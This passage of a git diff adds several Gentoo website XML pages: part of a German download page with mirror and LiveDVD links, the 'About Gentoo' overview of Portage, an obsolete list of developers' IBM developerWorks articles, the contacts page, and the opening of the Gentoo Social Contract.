+nicht erstellt wird. In diesem Fall, benutzen Sie bitte die letzte CD und
+Stage die verfügbar sind. Weitere Veröffentlichungen sind auf unseren
+Mirrors in dem Verzeichnis <path>/releases/&lt;arch&gt;/autobuilds/</path>
+verfügbar. Benutzen Sie dieses Verzeichnis, wenn keine aktuellen Dateien in
+<path>current-iso/</path> oder <path>current-stage3/</path> vorhanden sind.
+</p>
+
+<ul>
+  <li>
+    alpha:
+    <uri link="http://distfiles.gentoo.org/releases/alpha/autobuilds/current-iso/">iso</uri>
+    <uri link="http://distfiles.gentoo.org/releases/alpha/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    amd64:
+    <uri link="http://distfiles.gentoo.org/releases/amd64/autobuilds/current-iso/">iso</uri>
+    <uri link="http://distfiles.gentoo.org/releases/amd64/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    arm:
+    <uri link="http://distfiles.gentoo.org/releases/arm/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    hppa:
+    <uri link="http://distfiles.gentoo.org/releases/hppa/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    ia64:
+    <uri link="http://distfiles.gentoo.org/releases/ia64/autobuilds/current-iso/">iso</uri>
+    <uri link="http://distfiles.gentoo.org/releases/ia64/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    ppc:
+    <uri link="http://distfiles.gentoo.org/releases/ppc/autobuilds/current-iso/">iso</uri>
+    <uri link="http://distfiles.gentoo.org/releases/ppc/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    s390:
+    <uri link="http://distfiles.gentoo.org/releases/s390/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    sh:
+    <uri link="http://distfiles.gentoo.org/releases/sh/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    sparc:
+    <uri link="http://distfiles.gentoo.org/releases/sparc/autobuilds/current-iso/">iso</uri>
+    <uri link="http://distfiles.gentoo.org/releases/sparc/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    x86:
+    <uri link="http://distfiles.gentoo.org/releases/x86/autobuilds/current-iso/">iso</uri>
+    <uri link="http://distfiles.gentoo.org/releases/x86/autobuilds/current-stage3/">stages</uri>
+  </li>
+</ul>
+
+<!-- Autobuild end -->
+
+<p>
+Wenn Sie es vorziehen, selbst einen lokalen Mirror auszuwählen, verwenden Sie
+die Liste unter <uri
+link="mirrors.xml">www.gentoo.org/main/de/mirrors.xml</uri>.
+</p>
+
+<p>
+Bitte ziehen Sie unsere <uri link="/doc/de/handbook/">Gentoo Handbücher</uri> zu
+Rate, wenn Sie weitere Informationen dazu benötigen, was Sie herunterladen
+müssen und wie Sie Gentoo installieren.
+</p>
+
+</body>
+</section>
+
+<!-- 10.1 START -->
+
+<section>
+<title>Gentoo 10.1</title>
+<body>
+<p>
+<b>LiveDVD (veröffentlicht am 10. Oktober 2009)</b>
+<br/>(bis zu 2,6 Gigabyte, abhängig von der Architektur)
+<br/>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-10.1-livedvd/amd64/">amd64</uri>
+    <uri link="http://bouncer.gentoo.org/fetch/gentoo-10.1-livedvd/x86/">x86</uri>
+</p>
+
+</body>
+</section>
+
+<!-- 10.1 END -->
+
+<!-- 2008.0 START -->
+
+<section>
+<title>Gentoo 2008.0</title>
+<body>
+<warn>
+Die 2008.0 Releases sind veraltet!<br />
+Im folgenden finden Sie Links für die Architekturen, für die es keine
+Installationsmedien für die 10.x oder wöchentlichen Releases gibt, um die
+Installation zu vereinfachen.<br />
+</warn>
+<p>
+<b>Universelle Installations-CD</b>
+<br/>(bis zu 600 Megabyte, abhängig von der Architektur)
+<br/>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-universal/hppa/">hppa</uri>
+</p>
+
+</body>
+</section>
+
+<!-- 2008.0 END -->
+
+<!-- Vendors Link -->
+<section>
+<title>Gentoo-DVDs und -CDs</title>
+<body>
+
+<p>
+Wenn Sie einfach nicht die Möglichkeit haben, die großen DVD- und CD-Abbilder
+herunterzuladen, dann können Sie auch eine <uri link="stores.xml">Gentoo-DVD
+oder -CD</uri> kaufen.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</mainpage>
diff --git a/xml/htdocs/main/en/about.xml b/xml/htdocs/main/en/about.xml
new file mode 100644
index 00000000..1bac284a
--- /dev/null
+++ b/xml/htdocs/main/en/about.xml
@@ -0,0 +1,114 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/about.xml,v 1.39 2007/09/18 19:04:32 swift Exp $ -->
+
+<mainpage>
+<title>About Gentoo</title>
+<author title="Author">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Editor">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Editor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+About Gentoo, an overview.
+</abstract>
+
+<license/>
+
+<version>1.7</version>
+<date>2007-09-17</date>
+
+<chapter>
+<title>About Gentoo</title>
+<section>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>What is Gentoo?</title>
+<body>
+
+<p>
+Gentoo is a free operating system based on either Linux or FreeBSD that can be
+automatically optimized and customized for just about any application or need.
+Extreme configurability, performance and a top-notch user and developer
+community are all hallmarks of the Gentoo experience.
+</p>
+
+<p>
+Thanks to a technology called Portage, Gentoo can become an ideal
+secure server, development workstation, professional desktop, gaming system,
+embedded solution or something else -- whatever you need it to be. Because of
+its near-unlimited adaptability, we call Gentoo a <b>meta</b>distribution.
+</p>
+
+<p>
+Of course, Gentoo is more than just the software it provides. It is a community
+built around a distribution which is driven by more than 300 developers and
+thousands of users. The distribution project provides the means for the users to
+enjoy Gentoo: documentation, infrastructure (mailinglists, site, forums ...),
+release engineering, software porting, quality assurance, security followup,
+hardening and more.
+</p>
+
+<p>
+To advise on and help with Gentoo's global development, a <uri
+link="/proj/en/council/">7-member council</uri> is elected on a yearly basis
+which decides on global issues, policies and advancements in the Gentoo
+project.
+</p>
+
+</body>
+</section>
+<section>
+<title>What is Portage?</title>
+<body>
+
+<p>
+<b>Portage</b> is the heart of Gentoo, and performs many key functions.
+For one, Portage is the <e>software distribution</e> system for Gentoo.
+To get the latest software for Gentoo, you type one command: <c>emerge
+--sync</c>. This command tells Portage to update your local "Portage tree" over
+the Internet. Your local Portage tree contains a complete collection of scripts
+that can be used by Portage to create and install the latest Gentoo packages.
+Currently, we have <uri link="http://packages.gentoo.org/categories">more than
+10000 packages</uri> in our Portage tree, with updates and new ones being
+<uri link="http://packages.gentoo.org">added all the time</uri>.
+</p>
+
+<p>
+Portage is also a <e>package building and installation</e> system.  When you
+want to install a package, you type <c>emerge packagename</c>, at which point
+Portage automatically builds a custom version of the package to your exact
+specifications, optimizing it for your hardware and ensuring that the optional
+features in the package that you want are enabled -- and those you don't
+want aren't.
+</p>
+
+<p>
+Portage also keeps your system <e>up-to-date</e>. Typing <c>emerge -uD
+world</c> -- one command -- will ensure that all the packages that <e>you</e>
+want on your system are updated automatically.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/en/articles.xml b/xml/htdocs/main/en/articles.xml
new file mode 100644
index 00000000..000f35cd
--- /dev/null
+++ b/xml/htdocs/main/en/articles.xml
@@ -0,0 +1,395 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!--
+  Most articles are available through
+  http://www-106.ibm.com/developerworks/views/linux/articles.jsp?expand=Robbins%2C+Daniel&sort_order=desc&search_by=&show_abstract=false&sort_by=Date&view_by=Author
+  http://www-106.ibm.com/developerworks/views/linux/tutorials.jsp?expand=Robbins%2C+Daniel&sort_order=desc&search_by=&sort_by=Date&view_by=Author&S_TACT=104AHW03&S_CMP=EDU
+-->
+
+<guide link="/main/en/articles.xml" disclaimer="obsolete">
+<title>Linux Articles!</title>
+<author title="Author"><mail link="g2boojum@gentoo.org">Grant Goodyear</mail></author>
+<author title="Editor"><mail link="curtis119@gentoo.org">Curtis Napier</mail></author>
+
+<abstract>Linux articles by Gentoo Linux developers.</abstract>
+
+<version>1.1</version>
+<date>2006-07-11</date>
+
+<chapter>
+<title>Gentoo &amp; Linux related articles</title>
+<section>
+<body>
+
+<p>
+<b>Please note that this document is no longer maintained. This includes any
+and all links to the original documents in the IBM/DevWorks repository. For
+more information, please see <uri link="http://bugs.gentoo.org/139688">bug
+#139688</uri>.</b>
+</p>
+
+<p>
+The <uri link="/proj/en/gdp/">Gentoo Documentation Project</uri> has
+converted many articles listed on this page to the GuideXML format and
+publishing it on the Gentoo web site.
+</p>
+
+<p>
+Please do visit the <uri link="/doc/en/articles/">Gentoo &amp; Linux
+Articles</uri> repository.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+	<title>Articles by Gentoo Linux Developers</title>
+	<section>
+	<body>
+	<p>A number of our developers have written articles for the Linux 
+	community.  Here are the relevant links.</p>
+	</body>
+	</section>
+
+		<section>
+		<title>Daniel Robbins, Chris Houser, and Aron Griffis</title>
+		<body><p>Daniel Robbins (drobbins) was Gentoo's Chief Architect.
+			Chris Houser (chouser) and Aron Griffis (agriffis) are 
+			<uri link="http://www.tru64unix.compaq.com/">Tru64 UNIX</uri>
+			device driver engineers at <uri link="http://www.hp.com/">HP</uri>.</p>
+		<ol>
+			<li>LPI Certification 101 Exam Prep
+				<ul>
+					<li><uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir21-i.html">
+						Part 1: Linux fundamentals</uri>
+					</li>
+					<li><uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir22-i.html">
+						Part 2: Basic administration</uri>
+					</li>
+					<li><uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir23-i.html">
+						Part 3: Intermediate administration</uri>
+					</li>
+					<li><uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir24-i.html">
+						Part 4: Advanced administration</uri>
+					</li>
+				</ul>
+			</li>
+			<li>LPI Certification 102 Exam Prep
+				<ul>
+				  <li><uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir25-i.html">
+						Part 1: Compiling sources and managing packages</uri>
+					</li>
+					<li><uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir26-i.html">
+						Part 2: Configuring and compiling the kernel</uri>
+					</li>
+					<li><uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir27-i.html">
+						Part 3: Networking</uri>
+					</li>
+					<li><uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir28-i.html">
+						Part 4: Secure shell and file sharing</uri>
+					</li>
+				</ul>
+			</li>
+		</ol>
+
+		</body>
+	</section>
+
+	<section>
+		<title>Mikael Hallendal</title>
+		<body><p>Mikael Hallendal (Hallski) wrote this article during his tenure as a GNOME developer and Gentoo Linux Desktop Team Leader.</p>
+		<ul>
+			<li><uri link="http://www-106.ibm.com/developerworks/linux/library/l-gnome1/">
+				GNOMEnclature: Getting ready for GNOME 2 (Part 1)</uri>
+			</li>
+		</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Chris Houser</title>
+		<body><p>Chris Houser (chouser) is a 
+			<uri link="http://www.tru64unix.compaq.com/">Tru64 UNIX</uri>
+			device driver engineer at <uri link="http://www.hp.com/">HP</uri>.</p>
+		<ul>
+			<li><uri link="http://www-106.ibm.com/developerworks/edu/os-dw-linuxxwin-i.html">
+				Introduction to XFree86 4.x</uri>
+			</li>
+		</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Daniel Robbins</title>
+		<body><p>Daniel Robbins (drobbins) was Gentoo's Chief Architect.</p>
+		<ol>
+			<li>Advanced filesystem implementer's guide
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs.html">Part 1, Journalling and ReiserFS</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs2.html">Part 2, Using ReiserFS and Linux 2.4</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs3.html">Part 3, Using the virtual memory (VM) filesystem and bind mounts</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs4.html">Part 4, Introduction to devfs</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs5.html">Part 5, Setting up devfs</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs6/">Part 6, Implementing devfs (using the init wrapper)</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs7.html">Part 7, Introducing ext3 </uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs8.html">Part 8, Surprises in ext3</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs9.html">Part 9, Introducing XFS</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs10.html">Part 10, Deploying XFS</uri>
+					</li>
+          <li>
+            <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs11.html">Part 11, Filesystem update</uri>
+          </li>
+          <li>
+            <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs12/">Part 12, Introduction to EVMS</uri>
+          </li>
+          <li>
+            <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs13/">Part 13, More about EVMS</uri>
+          </li>
+				</ul>
+			</li>
+			<li>The gentoo.org redesign: A site reborn
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/us-gentoo/">Part 1, XML, XSLT, and Python breathe new life into an old site</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/web/library/us-gent">Part 2, The doc system</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/web/library/us-gentoo3/">Part 3, The new main pages</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/web/library/us-gentoo4/">Part 4, The final touch</uri>
+					</li>
+				</ul>
+			</li>
+			<li>POSIX threads explained
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-posix1.html">Part 1, A simple and nimble tool for memory sharing</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-posix2/">Part 2, The little things called mutexes</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-posix3/">Part 3, Improve efficiency with condition variables</uri>
+					</li>
+				</ul>
+			</li>
+			<li>Bash by example
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-bash.html">Part 1, Fundamental programming in the Bourne again shell (bash)</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-bash2.html">Part 2, More bash programming fundamentals</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-bash3.html">Part 3, Exploring the ebuild system</uri>
+					</li>
+				</ul>
+			</li>
+			<li>Awk by example
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-awk1.html">Part 1, An intro to the great language with the strange name</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-awk2.html">Part 2, Records, loops, and arrays</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-awk3.html">Part 3, String functions and ... checkbooks?</uri>
+					</li>
+				</ul>
+			</li>
+			<li>Sed by example
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-sed1.html">Part 1, Get to know the powerful UNIX editor</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-sed2.html">Part 2, How to further take advantage of the UNIX text editor</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-sed3.html">Part 3, Taking it to the next level: Data crunching, sed style</uri>
+					</li>
+				</ul>
+			</li>
+			<li>Linux hardware stability guide
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-hw1/">Part 1, CPU and memory troubleshooting</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-hw2.html">Part 2, Drivers, IRQs, and PCI latency</uri>
+					</li>
+				</ul>
+			</li>
+			<li>Making the distribution
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-dist1.html">Part 1, Birth of the Gentoo Linux distribution</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-dist2.html">Part 2, From Enoch to Gentoo, via minor setbacks and corporate run-ins</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-dist3.html">Part 3, The author strays from Linux and then returns</uri>
+					</li>
+				</ul>
+			</li>
+			<li>OpenSSH key management
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-keyc.html">Part 1, Understanding RSA/DSA authentication</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-keyc2/">Part 2, Introducing ssh-agent and keychain</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-keyc3/">Part 3, Agent forwarding and keychain improvements</uri>
+					</li>
+				</ul>
+			</li>
+			<li>Learning Linux LVM
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-lvm/">Part 1, Storage management magic with Logical Volume Management</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-lvm2.html">Part 2, The cvs.gentoo.org upgrade</uri>
+					</li>
+				</ul>
+			</li>
+			<li>Introduction to Samba
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-sambaint/index.html">Part 1, Key concepts</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-samba2.html">Part 2, Compiling, installing, and configuring Samba for your environment</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-samba3.html">Part 3, Getting Samba to samba: The configuration stage</uri>
+					</li>
+				</ul>
+			</li>
+			<li>Partitioning in action
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-partplan.html">Moving /home: A step-by-step partition moving how-to</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-partplan4.html">Consolidating data: Moving /tmp and /var to their own shared partition</uri>
+					</li>
+				</ul>
+			</li>
+			<li>Linux 2.4 Software RAID
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/linux/library/l-raid1/index.html">Part 1, Installation and a general introduction</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-raid2/index.html">Part 2, Setting up RAID-1 in a production environment</uri>
+					</li>
+				</ul>
+			</li>
+			<li>
+				<uri link="http://www-106.ibm.com/developerworks/library/l-swaptip2.html">Maximum swappage</uri>
+			</li>
+			<li>
+				<uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/A7F41AE725B03E1D86256A46005DB972?OpenDocument">Linux 2.4 stateful firewall design (tutorial)</uri>
+			</li>
+			<li>
+				<uri link="http://www-106.ibm.com/developerworks/library/l-fw/index.html">Dynamic iptables firewalls</uri>
+			</li>
+			<li>
+				<uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/7E96EDC7EA87208B8625694400584F81?OpenDocument">Compiling the Linux kernel</uri>
+			</li>
+			<li>
+				<uri link="http://www-106.ibm.com/developerworks/library/l-samba-tng.html">Samba domain controller support: Integrating Samba into an NT environment</uri>
+			</li>
+			<li>
+				<uri link="http://www-106.ibm.com/developerworks/library/l-tip-prompt/index.html">Prompt magic: Enhancing the system prompt</uri>
+			</li>
+			<li>
+				<uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/A5C4A0AF4296C66886256A0E005DE112?OpenDocument">CVS for the developer or amateur (tutorial)</uri>
+			</li>
+			<li>
+				<uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/8B6EDC18E0EC5FE4862569B5006E5AE1?OpenDocument">vi intro -- the cheat sheet method (tutorial)</uri>
+			</li>
+			<li>
+				<uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/10E39489AAEB0CB78625698B00705F79?OpenDocument">Rebol scripting basics (tutorial)</uri>
+			</li>
+			<li>
+				<uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/BA954CF013E79EA886256A70005C5914?OpenDocument">Fast Web browsing with a caching proxy (tutorial)</uri>
+			</li>
+			<li>
+				<uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/0F1731DC664023B7862569D0005C44AF?OpenDocument">Getting to know GRUB (tutorial)</uri>
+			</li>
+			<li>
+				<uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/73CADD8F9875EAD0862569C8005B6783?OpenDocument">JFS fundamentals (tutorial)</uri>
+			</li>
+			<li>
+				<uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/0FB4D16BD2C3E83E86256AA2005244D1?OpenDocument">Backing up your Linux machines (tutorial)</uri>
+			</li>
+			<li>
+				<uri link="http://www-106.ibm.com/developerworks/library/l-partitiontip.html">Partition planning tips: How to keep things organized on disk</uri>
+			</li>
+			<li>
+				<uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/E956E8D1D0C44A108625693700785C0E?OpenDocument">Compiling and installing software from sources (tutorial)</uri>
+			</li>
+			<li>
+				<uri link="http://www-106.ibm.com/developerworks/library/l-tip-updating.html">Upgrading applications from sources</uri>
+			</li>
+			<li>
+				<uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/F86D74C7B3B4E65486256B2900073A2E?OpenDocument">Linux clustering with MOSIX (tutorial)</uri>
+			</li>
+			<li>
+				<uri link="http://www-106.ibm.com/developerworks/library/l-samba/index.html">Inside Samba 2.2: New, improved, and enterprise-ready</uri>
+			</li>
+			<!-- 20030211 : commented out : no longer seems to be on IBM's site : kml--> 
+			<!--
+			<li>The new Amiga
+				<ul>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/amiga.html?dwzone=linux">McEwen and Moss discuss the renaissance of the Amiga SDK</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/l-amiga3/index.html">VP assembly code demo</uri>
+					</li>
+					<li>
+						<uri link="http://www-106.ibm.com/developerworks/library/amiga2">Expanding the Linux community through cross-platform architecture</uri>
+					</li>
+				</ul>
+			</li>
+			-->
+		</ol>
+    
+		</body>
+	</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/main/en/contact.xml b/xml/htdocs/main/en/contact.xml
new file mode 100644
index 00000000..78813004
--- /dev/null
+++ b/xml/htdocs/main/en/contact.xml
@@ -0,0 +1,144 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<mainpage>
+<title>Gentoo Linux Contacts</title>
+
+<author title="Author">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<abstract>
+How to contact Gentoo
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2</version>
+<date>2010-07-22</date>
+
+<chapter>
+<title>Who do I contact?</title>
+<section>
+<title>Contents</title>
+<body>
+
+<ul>
+  <li><uri link="#intro">Introduction</uri></li>
+  <li><uri link="#pr">Public Relations/Events</uri></li>
+  <li><uri link="#www">Webmaster</uri></li>
+  <li><uri link="#trustees">The Gentoo Foundation</uri></li>
+</ul>
+
+</body>
+</section>
+
+<section id="intro">
+<title>Introduction</title>
+<body>
+
+<p>
+"Gentoo" is many things. It is a community-based distribution of Linux. It is a
+package management philosophy. It is also a non-profit organization. This
+document is designed to get you in touch with the right group within Gentoo, so
+your correspondence can be handled as quickly as possible.
+</p>
+
+<p>
+For information regarding upcoming events, interviews, general questions, or
+simply just to find out more about Gentoo and Gentoo's products, you will
+likely want to speak with someone from Gentoo's <uri link="#pr">Public
+Relations</uri> project.
+</p>
+
+<impo>
+The Public Relations team does not provide user support or troubleshooting. If
+you need help with your Gentoo system, please visit our <uri
+link="http://forums.gentoo.org">forums</uri>, <uri link="/main/en/irc.xml">IRC
+channels</uri> or other <uri link="/main/en/support.xml">support venues</uri>.
+</impo>
+
+<p>
+For information regarding this website, or any other Gentoo website hosted on a
+<c>gentoo.org</c> domain, you will likely want to speak with Gentoo's <uri
+link="#www">Webmasters</uri>.
+</p>
+
+<p>
+For information about The Gentoo Foundation, or anything else related to Gentoo
+intellectual property, trademarks, and copyrights, you will likely want to
+speak to the Gentoo Foundation's <uri link="#trustees">Board of Trustees</uri>.
+</p>
+
+<p>
+If you are looking for support on Gentoo Linux or any other Gentoo product or
+project, then you should head over to our <uri
+link="/main/en/support.xml">support</uri> page for further information.
+</p>
+
+</body>
+</section>
+
+<section id="pr">
+<title>Public Relations</title>
+<body>
+
+<p>
+The Gentoo <uri link="/proj/en/pr/">Public Relations</uri> project, and its
+<uri link="/proj/en/pr/events/">Events</uri> subproject are responsible for
+putting the word out about Gentoo, as well as coordinating the Gentoo presence
+within the community at at trade shows and exhibitions.
+</p>
+
+<p>
+If you are looking for materials for an article, someone to interview, or simply
+want to know more about Gentoo and what it has to offer, send a message to the
+PR team. To contact the PR team, simply send an email to
+<mail>pr@gentoo.org</mail> and someone from the team will contact you as soon as
+possible.
+</p>
+
+<impo>
+The Public Relations team does not provide user support or troubleshooting. If
+you need help with your Gentoo system, please visit our <uri
+link="http://forums.gentoo.org">forums</uri> or <uri link="/main/en/irc.xml">IRC
+channels</uri>.
+</impo>
+
+</body>
+</section>
+
+<section id="www">
+<title>Webmasters</title>
+<body>
+
+<p>
+Maintaining Gentoo's presence on the web is a daunting task. Gentoo has a
+dedicated team of webmasters who keep our site looking sharp and up-to-date. If
+you have a question or comment about any Gentoo web site, then this team is
+what you are looking for. They can be contacted by sending an email to
+<mail>www@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+
+<section id="trustees">
+<title>The Gentoo Foundation Board of Trustees</title>
+<body>
+
+<p>
+<uri link="/foundation/en/">The Gentoo Foundation</uri> is a non-profit
+organization that was formed to be the protector of Gentoo's intellectual
+property. The Board of Trustees are the elected keepers of the legal entity
+that is Gentoo within the United States. If your question is legal in nature,
+then you will want to send an email to <mail>trustees@gentoo.org</mail> and a
+member of the board will get back to you as soon as possible.
+</p>
+
+</body>
+</section>
+
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/en/contract.xml b/xml/htdocs/main/en/contract.xml
new file mode 100644
index 00000000..3a56186f
--- /dev/null
+++ b/xml/htdocs/main/en/contract.xml
@@ -0,0 +1,138 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage>
+<title>Gentoo Social Contract</title>
+
+<author title="Author">
+  The Gentoo Project
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+<abstract>
+This document contains a pledge to the Gentoo community about the freedom of
+Gentoo's software, the openness of Gentoo's development process and the feedback
+we give back to the free software community.
+</abstract>
+
+<license/>
+
+<version>1.10</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Gentoo Social Contract</title>
+<section>
+<body>	
+
+<p>
+This social contract is intended to clearly describe the overall development 
+policies and standards of the Gentoo project development team.  Parts of this 
+document have been derived from the <uri 
+link="http://www.debian.org/social_contract">Debian Social Contract</uri>. It
+is generally very similar to it except that certain parts have been clarified 
+and augmented while other parts deemed redundant have been removed.  Comments 
+are welcome.  Please send	them to our <mail 
+link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail> mailing list.
+</p>
+
+</body>
+</section>
+<section>
+<title>What is Gentoo?</title>
+<body>
+
+<p>
+Gentoo in itself is a collection of free knowledge. Knowledge in this context 
+can be defined as documentation and metadata concerned with concepts or domains
+relevant to operating systems and their components, as well as <uri
+link="http://www.fsf.org/philosophy/free-sw.html">free software</uri>
+contributed by various developers to the Gentoo Project.
+</p>
+
+<p>
+Gentoo, the operating system, is derived from the base concept of
+knowledge described above. A Gentoo operating system should satisfy the
+self-hosting requirement. In other words, the operating system should be
+able to build itself from scratch using the aforementioned tools and
+metadata. If a product associated with an official Gentoo project does
+not satisfy these requirements, the product does not qualify as a Gentoo
+operating system.
+</p>
+
+<p>
+An official list of Gentoo projects is listed under the <uri 
+link="http://www.gentoo.org/proj/en/metastructure/projects.xml">Gentoo
+Metastructure</uri>. A Gentoo project does not need to produce a Gentoo
+operating system in order to be officially recognized.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo is and will remain Free Software</title>
+<body>
+
+<p>
+We will release our contributions to Gentoo as free software, metadata or
+documentation, under the GNU General Public License version 2 (or later, at 
